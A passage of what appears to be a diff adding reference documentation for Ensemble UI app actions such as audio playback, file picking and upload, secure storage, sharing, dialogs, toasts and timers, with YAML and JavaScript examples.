TextInput: + id: email + value: 'mailto: khurram.mahmood@gmail.com' + - Button: + label: Open Url + onTap: + openUrl: + url: ${email.value} +``` + +To learn more about how to use openUrl action, check out the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/TnoazbWLihcenxD1NBkr) example. + +--- + +# pauseAudio + +The pauseAudio action allows users to pause an already-playing audio file. + +### Properties + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------- | +| id | string | A unique identity that's required to refer to the already playing audio. Should be same as that of passed in playAudio | + +**Example** + +```yaml +View: + header: + title: Audio Player + styles: + scrollableView: true + + body: + Column: + styles: + gap: 16 + padding: 24 + children: + - Button: + label: Play Audio + onTap: + playAudio: + id: My Audio + source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Play Audio 2 + onTap: + playAudio: + id: My Audio + source: audio.mp3 + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Pause Audio + onTap: + pauseAudio: + id: My Audio + + - Button: + label: Stop Audio + onTap: + stopAudio: + id: My Audio + + - Button: + label: Resume Audio + onTap: + resumeAudio: + id: My Audio + + - Button: + label: Seek Audio at 4 second + onTap: + seekAudio: + id: My Audio + position: 20 # in seconds +``` + +--- + +# pickFiles + +pickFiles action enables users to select files from their device for further processing or usage within the app, offering a seamless way to choose and work with files, enhancing user interactions and content management capabilities. + +### Properties + +| Property | Type | Description | +| :---------------- | :------ | :--------------------------------------------------------------------------------------------------------------- | +| id | string | Give the picker an ID allows you to bind to its result, which can be access anywhere e.g. ${filePicker.files...} | +| allowMultiple | boolean | Allow users to pick multiple files (default False) | +| allowCompression | boolean | It will allow media to apply the default OS compression (default True) | +| allowedExtensions | array | Allow files with specific extension e.g jpg, png, pdf | + + +### Ensemble File object +The files picked using `pickFiles` or created using camera using `openCamera` all shared the same following object. + + +| Property | Type | Description | +|:---|:---|:---| +| name | string | name of the file, could be null | +| size | integer | size of file in bytes, could be null | +| ext | string | extension of the file, could be null | +| path | string | file path, null on web, available in native mobile app | +| bytes | dynamic | if path is null i.e for web, we'll have bytes of files | + +> [NOTE] +> Path will be null when you are developing in the web studio. You'll have the path in your native mobile build or ensemble preview / go app. + + +**Example** + + + +```yaml +View: + # Optional - style the screen + styles: + scrollableView: true + + # Specify the body of the screen + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Markdown: + text: | + Use the `uploadFiles` action upload files to specify `uploadApi`. + + Then use the `onComplete` properties to execute other actions when upload is successful. + + - Button: + label: Pick Files + onTap: + pickFiles: + id: picker + + - Button: + label: Upload Picked files + onTap: + executeCode: + body: | + //@code + loading.visible = true; + + onComplete: + uploadFiles: + id: fileUploader + files: ${picker.files} + uploadApi: fileUploadApi + inputs: + url: https://en09cdal5asztm.x.pipedream.net + onComplete: | + //@code + loading.visible = false; + onError: | + //@code + + loading.visible = false; + maxFileSize: 100 + overMaxFileSizeMessage: Please select files less than 100kb + + - Markdown: + text: ${fileUploader.body} + + - Progress: + display: circular + id: loading + visible: false + + - Divider + + - Markdown: + text: | + Chain multiple file actions to pick files and upload them in one go + - Using `pickFiles` to pick file based on platform picker + - Using `uploadFiles` to upload selected files from file picker + + - Button: + label: Pick & Upload + onTap: + pickFiles: + id: filePicker + onComplete: + uploadFiles: + files: ${filePicker.files} + uploadApi: fileUploadApi + inputs: + url: https://en09cdal5asztm.x.pipedream.net + onComplete: | + //@code + ensemble.debug('File uploaded'); + + - Divider: + + - Markdown: + text: | + `pickFiles` also comes with option such as: + + - `allowMultiple` : To allow muliple file selection from gallery picker default (false) + - `allowCompression` : It will allow media to apply the default OS compression (default True) + - `allowedExtensions` : To filter file picking based on extensions like jpg, png, pdf... + + `uploadFiles` also comes with option such as: + + - `files` : Pass the files that needs to upload e.g ${filePicker.files} + + - `fieldName` : Field name that your server is expecting. (default files). + + - `maxFileSize`: File size that is allowed in kb (default 100 mb), If multiple is allow then sum of all files + - `overMaxFileSizeMessage`: Error message to show when selected files size is above maxFileSize. + + - Row: + styles: { mainAxis: spaceBetween, crossAxis: center } + children: + - Button: + label: Multiple Images + onTap: + pickFiles: + id: images + allowMultiple: true + allowCompression: false + allowedExtensions: + - jpg + - png + + - Text: + text: ${images.files.length} + - Button: + label: Upload Multiple images + onTap: + uploadFiles: + id: imageUploader + uploadApi: fileUploadApi + files: ${images.files} + fieldName: files + inputs: + url: https://en09cdal5asztm.x.pipedream.net + maxFileSize: 100 # in kb + overMaxFileSizeMessage: Please select files less than 100kb + + - Markdown: + text: ${imageUploader.body} + - Divider + + - Markdown: + text: | + ### Background file upload + - Pick and Upload files in background. + - In unmetered connection (wifi/lan) + - Also show notification + - *Not supported on web / studio. + + - Button: + label: Background upload + onTap: + pickFiles: + id: bgFilePicker + onComplete: + uploadFiles: + uploadApi: fileUploadApi + files: ${bgFilePicker.files} + inputs: + url: https://en09cdal5asztm.x.pipedream.net + id: bgUploader + options: + backgroundTask: true + showNotification: true + networkType: unmetered + + - Divider: + + - Markdown: + text: | + _Side Note: If you are using default uploadURL it's using RequestBin_ + + _RequestBin has maxFileSize of __100 kb__ above it will fail._ + + _You can see you API request [here](https://requestbin.com/r/en09cdal5asztm/2Lzx3lZ071EFF9dFKZCXJTnkJHS)_ + + - Divider: + +API: + fileUploadApi: + inputs: + - url + uri: ${url} + method: POST +``` + + + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/mvFbwP5K5yvAqTlncTga?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) including uploadFiles example. + +--- + +# playAudio + +The playAudio action allows users to play a given audio file from a URL or asset. It requires a unique ID passed to it so that the audio can be referenced. + +### Properties + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------- | +| id | string | A unique identity that's required to refer to the given audio in the future | +| source | string | The source of the audio file. Can be a file name located in assets or can also be a url | +| volume | double | The volume at which audio to play. It should be between `0` and `1` with `0` being no volume and `1` being maximum volume. The default value is `1` | +| balance | double | The balance between both the left and right speakers for stereo audio. It should be between `-1` and `1` with `-1` being completely left speaker and `1` being completely right speaker. The default value is `0` | +| position | integer | The time stamp from which to play audio from. It should be in seconds. The default value is `0` | + +**Example** + +```yaml +View: + header: + title: Audio Player + styles: + scrollableView: true + + body: + Column: + styles: + gap: 16 + padding: 24 + children: + - Button: + label: Play Audio + onTap: + playAudio: + id: My Audio + source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Play Audio 2 + onTap: + playAudio: + id: My Audio + source: audio.mp3 + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Pause Audio + onTap: + pauseAudio: + id: My Audio + + - Button: + label: Stop Audio + onTap: + stopAudio: + id: My Audio + + - Button: + label: Resume Audio + onTap: + resumeAudio: + id: My Audio + + - Button: + label: Seek Audio at 4 second + onTap: + seekAudio: + id: My Audio + position: 20 # in seconds +``` + +**Related Actions: [pause-audio](pause-audio.md) [stop-audio](stop-audio.md) [resume-audio](resume-audio.md) [seek-audio](seek-audio.md)** + +--- + +# Pull To Refresh + +Pull to Refresh is a common interaction pattern in mobile app development, allowing users to refresh the content of a view by pulling it down. In Ensemble, you can implement Pull to Refresh using the `onPullToRefresh` event and update the content dynamically. Let's break down the example: + +```yaml + Column: + styles: + scrollable: true + padding: 20 20 200 + gap: 8 + onPullToRefresh: |- + generateRandomNumber(); + item-template: + data: ${ensemble.storage.RandomNumbers} + name: number + template: + Text: + text: ${number} + styles: + backgroundColor: cyan + textAlign: center +Global: |- + //@code + ensemble.storage.RandomNumbers = [8, 3, 5]; + + function generateRandomNumber() { + //..... + } +``` + +onPullToRefresh Event: +`onPullToRefresh`: |- + generateRandomNumber();: +Specifies the callback function (`generateRandomNumber`) to be executed when the user pulls to refresh. This ensures that new random numbers are generated and the list is updated when the user performs a pull-to-refresh gesture. + +Item Template: +`data`: ${ensemble.storage.RandomNumbers}: +Binds the list of random numbers (stored in ensemble.storage.RandomNumbers) to the item template. This data will be used to populate the list. +`name: number`: Sets a reference name for each item in the list. +`text: ${number}`: Binds each Text widget to a specific number in the list, ensuring that the correct data is displayed for each item. + +Global Section (Initialization): +`ensemble.storage.RandomNumbers = [8, 3, 5];`: +Initializes the RandomNumbers array with some initial values. +`generateRandomNumber` function: +Generates new random numbers when called. This function is triggered on pull-to-refresh. + +--- + +# rateApp + +The "Rate Us" functionality is available only for iOS devices when the app is in production. + +```yaml +View: + header: + title: 'Action: RateApp' + + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + text: Works only for iOS when app is in production (will not work for Ensemble Go while on TestFlight) + - Button: + label: Rate Us + onTap: + rateApp: +``` +The rateApp action is triggered when the "Rate Us" button is tapped. It is to handle the logic for prompting users to rate the app. + +--- + +# requestNotificationAccess + +requestNotificationAccess action prompts users to grant permission for the app to send notifications to their device, enabling personalized alerts and updates, enhancing user engagement, and ensuring timely delivery of relevant information within the application. + +### Properties + +| Property | Type | Description | +|:-------------| :----- | :--------------------------------------------------------------- | +| onAuthorized | action | Execute an Action when notification permission has been granted | +| onDenied | action | Execute an Action when notification permission has been rejected | + +**Example** + +The first important thing to consider while implementing notifications is to make sure that its authorized by user itself. Thus first step is to ensure complete access to ensemble. let us see how it works + + + +```yaml +View: + header: + title: "Action: showNotification" + + # Specify the body of the screen + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + text: Hi there! + - Button: + label: Checkout Ensemble Kitchen Sink + onTap: + requestNotificationAccess: + onAuthorized: + showNotification: + title: A Notification + body: As you can see me working here +``` + + + +When user clicks on button browser pop-up asks for permission and as you allow it notification can be seen at bottom-right corner of screen. You can refer complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/NiF1zG2VKspdlxNM2F1n?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true). + +**Output** + +![Alt text](public/images/actions/image-.png) + +![Alt text](public/images/actions/image--2.png) + +--- + +# resumeAudio + +The resumeAudio action allows users to resume a previously paused audio + +### Properties + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------------------------------------------------------------------- | +| id | string | A unique identity that's required to refer to the audio that was paused in past. Should be same as that of passed in playAudio | + +**Example** + +```yaml +View: + header: + title: Audio Player + styles: + scrollableView: true + + body: + Column: + styles: + gap: 16 + padding: 24 + children: + - Button: + label: Play Audio + onTap: + playAudio: + id: My Audio + source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Play Audio 2 + onTap: + playAudio: + id: My Audio + source: audio.mp3 + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Pause Audio + onTap: + pauseAudio: + id: My Audio + + - Button: + label: Stop Audio + onTap: + stopAudio: + id: My Audio + + - Button: + label: Resume Audio + onTap: + resumeAudio: + id: My Audio + + - Button: + label: Seek Audio at 4 second + onTap: + seekAudio: + id: My Audio + position: 20 # in seconds +``` + +--- + +# saveFile + +The `saveFile` action saves media files (e.g., images) to the default media storage and documents to the default documents directory on Android and IOS. On the web, it downloads the file to the browser's default download folder. + +### Properties + +| Property | Type | Description | +| :-------- | :----- | :-------------------------------------------- | +| source | string | The source URL of the file | +| blobData | string | Blob data of the file in base64 string | +| type | string | Type of the file which are `image` or `document`. If type is `document` then the action will consider the source or blobData to be of document file and will save the file in the default device document folder | +| onComplete | action | Action to be executed on successful file saving on mobile device and successful downloading on web | +| onError | action | Action to be executed on error saving file | + +**Example** + +#### 1. For `blobData` input: #### + In case the type is image, action will save image in default Pictures path of device, in case of web, it will download the file +```yaml +Button: + onTap: + saveFile: + fileName: 'Test.png' + type: image + blobData: # blob string for image +``` + + In case the type is document, action will save document in default Documents path of device, in case of web, it will download the file +```yaml +In case the type is document, it'll be saved in Documents +Button: + onTap: + saveFile: + fileName: 'Test.pdf' + type: document # pdf, docx, txt + blobData: # blob string for document + onComplete: + showToast: + message: File saved successfuly + onError: + showToast: + message: File saving failed +``` +#### 2. For `source` input: #### +```yaml +Button: + onTap: + saveFile: + fileName: 'Test.pdf' + type: document # pdf, docx, txt + source: https://pdfobject.com/pdf/sample.pdf # source-url for document + onComplete: + showToast: + message: File saved successfuly + onError: + showToast: + message: File saving failed +``` +You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/9rgeMobpDsSosMoL2Hxv) + +--- + +# seekAudio + +The seekAudio action allows users to pause a already-playing audio file + +### Properties + +| Property | Type | Description | +| :------- | :------ | :--------------------------------------------------------------------------------------------------------------------- | +| id | string | A unique identity that's required to refer to the already playing audio. Should be same as that of passed in playAudio | +| position | integer | The time stamp at which to skip the audio to. It should be in seconds. The default value is `0` | + +**Example** + +```yaml +View: + header: + title: Audio Player + styles: + scrollableView: true + + body: + Column: + styles: + gap: 16 + padding: 24 + children: + - Button: + label: Play Audio + onTap: + playAudio: + id: My Audio + source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Play Audio 2 + onTap: + playAudio: + id: My Audio + source: audio.mp3 + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Pause Audio + onTap: + pauseAudio: + id: My Audio + + - Button: + label: Stop Audio + onTap: + stopAudio: + id: My Audio + + - Button: + label: Resume Audio + onTap: + resumeAudio: + id: My Audio + + - Button: + label: Seek Audio at 4 second + onTap: + seekAudio: + id: My Audio + position: 20 # in seconds +``` + +--- + +# getSecureStorage + +The `getSecureStorage` action retrieves previously stored encrypted data from the device's secure storage, decrypting it for use within your application while maintaining security of sensitive information. + +## Properties + +| Property | Type | Description | +| :--------- | :----- | :--------------------------------------------------------------------------------------------------------- | +| key | string | The key to retrieve the value from | +| onComplete | action | Execute an Action when the data has been successfully retrieved. The value is available under 'event.data' | +| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | + +## Example + +```yaml +Button: + label: Retrieve Secure Data + onTap: + getSecureStorage: + key: userToken + onComplete: + executeCode: + body: | + //@code + console.log("Retrieved token: " + event.data); + // Use the token for an API call + apiHeaders.value = { "Authorization": "Bearer " + event.data }; + onError: + showToast: + message: ${event.error} + options: + type: error +``` + +## JavaScript Usage + +When used in JavaScript, this action returns the value directly, making it useful in code blocks: + +```javascript +// Retrieve a stored value directly +const userToken = ensemble.getSecureStorage("userToken"); +console.log("Token: " + userToken); + +// Use the retrieved value in an API call +ensemble.invokeAPI({ + name: "fetchUserData", + inputs: {}, + headers: { + Authorization: "Bearer " + ensemble.getSecureStorage("userToken"), + }, +}); +``` + +## Notes + +- This action requires an encryption key to be set in your secrets configuration. +- The retrieved data is automatically decrypted and converted back to its original data type (string, number, boolean, or object). +- If no data exists for the given key, `null` will be returned. +- Data stored using [setSecureStorage](#setsecurestorage) can be retrieved with this action. +- The value is available in the `onComplete` action under `event.data` when used in YAML. +- When used in JavaScript, the value is returned directly from the function call. + +--- + +# setSecureStorage + +The `setSecureStorage` action securely stores sensitive information in an encrypted format on the device, ensuring that sensitive data like tokens, user credentials, or personal information remains protected from unauthorized access. + +## Properties + +| Property | Type | Description | +| :--------- | :----- | :---------------------------------------------------------------------------------------- | +| key | string | The key to store the value under | +| value | any | The value to store securely. Can be a string, number, boolean, or complex object | +| onComplete | action | Execute an Action when the data has been successfully stored | +| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | + +## Example + +```yaml +Button: + label: Save Secure Data + onTap: + setSecureStorage: + key: userToken + value: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiaWF0IjoxNTE2MjM5MDIyfQ + onComplete: + showToast: + message: Token stored securely + options: + type: success + onError: + showToast: + message: ${event.error} + options: + type: error +``` + +## JavaScript Usage + +You can also use this action in JavaScript: + +```javascript +// Store a simple string value +ensemble.setSecureStorage({ + key: "userToken", + value: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", +}); + +// Store a complex object +ensemble.setSecureStorage({ + key: "userProfile", + value: { + id: 123, + name: "John Doe", + isActive: true, + permissions: ["read", "write"], + }, +}); +``` + +## Notes + +- This action requires an encryption key to be set in your secrets configuration. +- The value can be any type of data - strings, numbers, booleans, or complex objects. +- All data is encrypted before storage using AES encryption. +- To retrieve the value later, use the [getSecureStorage](#getsecurestorage) action. +- To remove the value, use the [clearSecureStorage](#clearsecurestorage) action. + +--- + +# clearSecureStorage + +The `clearSecureStorage` action removes previously stored encrypted data from the device's secure storage, allowing you to clean up sensitive information when it's no longer needed, enhancing security by minimizing data exposure. + +## Properties + +| Property | Type | Description | +| :--------- | :----- | :---------------------------------------------------------------------------------------- | +| key | string | The key to remove from secure storage | +| onComplete | action | Execute an Action when the data has been successfully removed | +| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | + +## Example + +```yaml +Button: + label: Clear Secure Data + onTap: + clearSecureStorage: + key: userToken + onComplete: + showToast: + message: Secure data removed successfully + options: + type: success + onError: + showToast: + message: ${event.error} + options: + type: error +``` + +## JavaScript Usage + +You can also use this action in JavaScript: + +```javascript +// Clear a stored secure value +ensemble.clearSecureStorage("userToken"); + +// With error handling +try { + ensemble.clearSecureStorage("userToken"); + console.log("Token removed successfully"); +} catch (error) { + console.error("Failed to clear token: " + error); +} +``` + +## Notes + +- This action requires an encryption key to be set in your secrets configuration. +- This action completely removes the specified key and its associated value from secure storage. +- If the key doesn't exist, the action completes successfully without any error. +- Use this action for cleanup when sensitive data is no longer needed (e.g., after logout). +- For security best practices, always clear sensitive data when it's no longer required. +- This action works with data stored using [setSecureStorage](#setsecurestorage). + +--- + +# Share + +Using the native sharing capabilities of the device to provide users with the ability to share text and files. + +### Properties + +| Property | Type | Description | +| :--------- | :----- | :----------------------------------------------------------------------------------------- | +| title | string | Optional title (e.g. email's title) | +| text | string | Text and/or URL to share | +| files | string | Binded files from sources like camera or picker. e.g ${filePicker.files}, ${camerId.files} | + +**Example** + +The share action is triggered when the "Open Share Sheet" button is tapped. It typically opens the native share sheet on the device, allowing users to share content. In this case, it shares a title ("EnsembleUI") and a URL ("https://ensembleui.com/"). + +```yaml + - Button: + label: Open Share Sheet + onTap: + share: + title: EnsembleUI + text: https://ensembleui.com/ + - Text: + text: Works only on Native iOS and Android +``` +**Share Sheet Screenshot** +
    + Output Screenshot +

    Clicking the "Open Share Sheet" will open share sheet to share the provided text and title

    +
    + +Here's the example of how you can share files using `share` action +```yaml +- Button: + label: Share Files + onTap: + pickFiles: + id: filePicker + source: files + onComplete: + share: + files: ${filePicker.files} + text: I selected this file +``` + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/Dnv8CceAHCHlEpS61DEE) + +--- + +# showBottomModal + +The `showBottomModal` action enables the display of content on a modal that slides from the bottom of the device, providing a user experience similar to iOS Sheets. + +```yaml + - Button: + label: Show Modal Using Code + onTap: + showBottomModal: + widget: + ActionsSheet: + inputs: + action1: Action 1 + action2: Action 2 + styles: + backgroundColor: white + barrierColor: 0x22000000 + options: + enableDrag: true + enableDragHandler: true +``` + +The `showBottomModal` action is configured to call an `ActionsSheet` widget with two inputs: `action1` and `action2`. These inputs are then utilized within the `ActionsSheet` widget to customize its content. + +## Properties + +| Property | Type | Description | +|:--------------|:----------|:-------------| +| widget | [Widget](/pages/widgets/.md) | Constructs the UI of the bottom modal using widgets. | +| styles | [Styles](#styles) | Applies styles to customize the appearance of the modal. | +| options | [Options](#options) | Offers customization options for the modal behavior. | +| onDismiss | Action | Execute predefined functions or custom code on modal dismiss. | + +## Styles + +| Property | Type | Description | +|:--------------|:----------|:-------------| +| backgroundColor | string | Set the background color of the modal. | +| barrierColor | string | Sets the color of the barrier behind the modal. | + +## Options + +| Property | Type | Description | +|:--------------|:----------|:-------------| +| enableDrag | boolean | Enable the user to drag the modal up and down. | +| enableDragHandler | boolean | Determines whether the drag handler is displayed. | + +--- + +# showDialog + +showDialog action triggers the display of a modal dialog box within the app, presenting users with important information, notifications, or customizable content while pausing the main app flow, ensuring clear and focused communication with users. + +### Properties + +| Property | Type | Description | +| :-------------- | :------ | :----------------------------------------------------------------------------------------------------- | +| widget | widget | Return an inline widget or specify a custom widget's name to use in the dialog. | +| options | object | [see properties](#propertiesoptions) | +| dismissible | boolean | This property denotes whether the dialog can be dismissed by tapping outside of it. Default is `true`. | +| onDialogDismiss | action | Execute an Action when the dialog is dismissed. | + +#### properties.options + +| Property | Type | Description | +| :--------------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| minWidth | integer | | +| maxWidth | integer | | +| minHeight | integer | | +| horizontalOffset | number | Offset the dialog's position horizontally, with -1.0 for the screen's left and 1.0 for the screen's right. (default is 0 for centering horizontally) minimum `-1.0` and maximum `1.0` | +| verticalOffset | number | Offset the dialog's position vertically, with -1.0 for the screen's top and 1.0 for the screen's bottom. (default is 0 for centering vertically) minimum `-1.0` and maximum `1.0` | +| style | string | Render the dialog with a default style. You can also specify 'none' and control your own styles in your widget. `default` `none` | + +**Example** + +Here we are gonna see how we can + + + +```yaml +View: + header: + title: Dialog + onLoad: + showDialog: + widget: MyStartingDialog + + body: + Column: + styles: { margin: 10, gap: 5 } + children: + # use inline widget + - Text: + text: Your dialog can also be an inline widget + - Button: + label: Show Dialog + onTap: + showDialog: + widget: + Text: + text: This dialog declares the widget inline and uses the default style. + + - Spacer: + styles: + size: 20 + + # use custom styling + - Text: + text: You can customize the dialog style + - Button: + label: Show Custom Dialog + onTap: + showDialog: + widget: MyCustomDialog + options: + # no default style - zero margin/padding, no background color + style: none + # move it up half way between the top and the center of the screen + verticalOffset: -0.5 + +# Custom Widget +MyStartingDialog: + body: + Column: + styles: + gap: 10 + children: + - Text: + text: Welcome to Ensemble + styles: + fontSize: 16 + fontWeight: bold + - Text: + text: This dialog pops up when the user first visits the page. + - Button: + label: Close dialog + onTap: closeAllDialogs + +MyCustomDialog: + body: + Column: + styles: + gap: 10 + backgroundColor: 0xffD7BFA8 + borderRadius: 10 + margin: 20 + padding: 20 + children: + - Text: + text: |- + This dialog set its own margin/padding and background color. + + It also offset the dialog position vertically. +``` + +Try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HRIajN2i8bDDVTL32j8m?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + + +**Example with inputs** + +We can also make use of inputs property for `showDialog` action to pass any input parameters to be used with dialog. Lets look at the previous example but this time with some input values. + +```yaml +View: + header: + title: Dialog + onLoad: + showDialog: + widget: MyStartingDialog + body: + Column: + styles: { margin: 10, gap: 5 } + children: + - Text: + text: You can customize the dialog style and provide inputs as well + - Button: + label: Show Custom Dialog + onTap: + showDialog: + widget: + MyCustomDialog: + inputs: + name: Peter + options: + # no default style - zero margin/padding, no background color + style: none + # move it up half way between the top and the center of the screen + verticalOffset: -0.5 + + onDialogDismiss: | + //@code + console.log("dialog dismissed"); + +MyCustomDialog: + inputs: + - name + body: + Column: + styles: + gap: 10 + backgroundColor: 0xffD7BFA8 + borderRadius: 10 + margin: 20 + padding: 20 + children: + - Text: + text: |- + Hi ${name} + This dialog set its own margin/padding and background color. + + It also offset the dialog position vertically. +``` + +**Explanation** + +- In the code for showDialog we are passing an input `name` with value `Peter` which can be seen clearly in the output. + +**Example with Controlled dismissible property** + +We can use `dismissble` property to control whether the dialog can be dismissble while tapping outside of it or not. If `dismissble` is `false`, dialog will not dismiss on tapping outside of it and vice verca. Default `dismissble`state of dialog is true. If you don't specify the property then the dialog will be dismissble. + +```yaml +View: + header: + title: Dialog + body: + Column: + styles: + padding: 24 + gap: 16 + children: + - Button: + label: Show undismissible dialog + onTap: + showDialog: + dismissible: false + body: + Text: + text: This is undismissible dialog + - Button: + label: Show Undismissble dialog (Custom dismiss implementation ) + onTap: + showDialog: + dismissible: false + body: + Column: + children: + - Text: + text: This is undismissible dialog + - Button: + label: Dismiss + onTap: + dismissDialog: +``` + +--- + +# showNotification + +showNotification action triggers the display of local notifications within the app, notifying users of important events or information even when the app is in the background or closed, enhancing user engagement and ensuring timely communication with users. + +### Properties + +| Property | Type | Description | +| :------- | :----- | :-------------------- | +| title | string | Title of notification | +| body | string | Body of notification | + +**Example** + +You can refer [here](#requestnotificationaccess) for example related to notification. Can also refer complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/zbIn4f6tD3yQkC1MJRj1?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true). + +--- + +# showToast + +The ShowToast enables the display of informative toast messages, providing temporary and non-intrusive notifications or alerts within your application for important updates or messages. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/LBertkIs2inDfUn87NrI) + +## Properties + +| Property | Type | Description | +| :-------- | :----- | :----------------------------- | +| showToast | object | Showing a toast message | +| options | object | Select a built-in toast style. | +| styles | object | Toast's styles | + +### showToast + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------------------------------------------- | +| message | string | The toast message. Either this message or a widget must be provided. | +| widget | object | The custom widget to show as the Toast's body. Either this widget or a toast message must be provided. | +| options | object | Select a built-in toast style. | +| styles | object | Toast's styles | + +### options + +| Property | Type | Description | +| :---------- | :------ | :------------------------------------------------------------------------------------------------------------------------ | +| type | string | Select a built-in toast style. One of the following - 'success', 'error', 'warning', 'info' | +| dismissible | boolean | Whether to show a dismiss button (default is True) | +| alignment | string | Toast's position. Can be one of: `top`, `topLeft`, `topRight`, `center`, `centerLeft`, `centerRight`, `bottom`, `bottomLeft`, `bottomRight` | +| duration | integer | The number of seconds before the toast is dismissed. Minimum value is 1. | + +### styles + +| Property | Type | Description | +| :-------------- | :--------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------- | +| backgroundColor | | Toast's background color starting with '0xFF' for full opacity e.g 0xFFCCCCCC | +| shadowColor | string or number | Box shadow color starting with '0xFF' for full opacity. | +| shadowRadius | integer | Toast's shadow radius. Minimum value is 0. | +| shadowOffset | array | Toast's shadow offset. | +| borderRadius | | Toast's border radius. | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| size | integer | Specifies the width (progress bar) or the diameter (circular progress indicator) | +| thickness | integer | Specifies the thickness of the indicator (for progress bar this is the height) | +| color | | Progress indicator color. | + +--- + +# startTimer + +Use the `onTimer` action to start a timer. Then use the `onTimer` and/or `onTimerComplete` properties to execute other actions once the timer finishes. + +### Properties + +| Property | Type | Description | +| :-------------- | :----- | :----------------------------------------------------------------- | +| id | string | Give this timer an ID so it can be cancelled by a stopTimer action | +| onTimer | action | Execute an Action every time the timer triggers | +| onTimerComplete | action | Execute an Action when the timer has completed and will terminate | +| options | object | [see properties](#propertiesoptions) | + +#### properties.options + +| Property | Type | Description | +| :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | :------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| isGlobal | boolean | Marking this timer as global will ensure the timer, if repeating indefinitely, will continue to run even if the user navigates away from the screen, until explicitly stopped by the stopTimer action. Note that there can only ever be one global timer. Creating a new global timer will automatically cancel the previous global timer. | +| In the example below, we start a time that calls an API after 5 seconds, and repeat this action 3 times. That means after 15 seconds, the `onTimerComplete` action is executed. | +| startAfter | integer | Delay the timer's start by this number of seconds. If not specified and repeat is true, repeatInterval will be used. If none is specified, there will be no initial delay | +| repeat | boolean | Whether the time should repeat and trigger at every repeatInterval seconds. This Timer will run continuously unless a maxNumberOfTimes is specified | +| repeatInterval | integral | Trigger the timer periodically at this repeatInterval (in seconds) | +| maxNumberOfTimes | integer | Set the max number of times the timer will triggers, if repeat is true | + +**Usage Examples** + +In the example below, we start a time that calls an API after 5 seconds, and repeat this action 3 times. That means after 15 seconds, the `onTimerComplete` action is executed. + + + +```yaml +View: + header: + title: "Action: startTimer" + styles: + scrollableView: true + + body: + Column: + styles: + gap: 16 + padding: 24 + children: + - Button: + label: Start Timer + onTap: + startTimer: + onTimer: + invokeAPI: + name: getNYCTime + options: + repeat: true + maxNumberOfTimes: 3 + repeatInterval: 5 + onTimerComplete: + executeCode: + body: | + //@code + timerComplete.text = 'Timer completed'; + + - Text: + text: | + API response: + ${getNYCTime.body.datetime} + + - Text: + id: timerComplete + +API: + getNYCTime: + authentication: none + method: GET + uri: https://worldtimeapi.org/api/timezone/America/New_York +``` + + + +To learn more about how to use `startTimer` action, check out the [Ensemble Kitchen 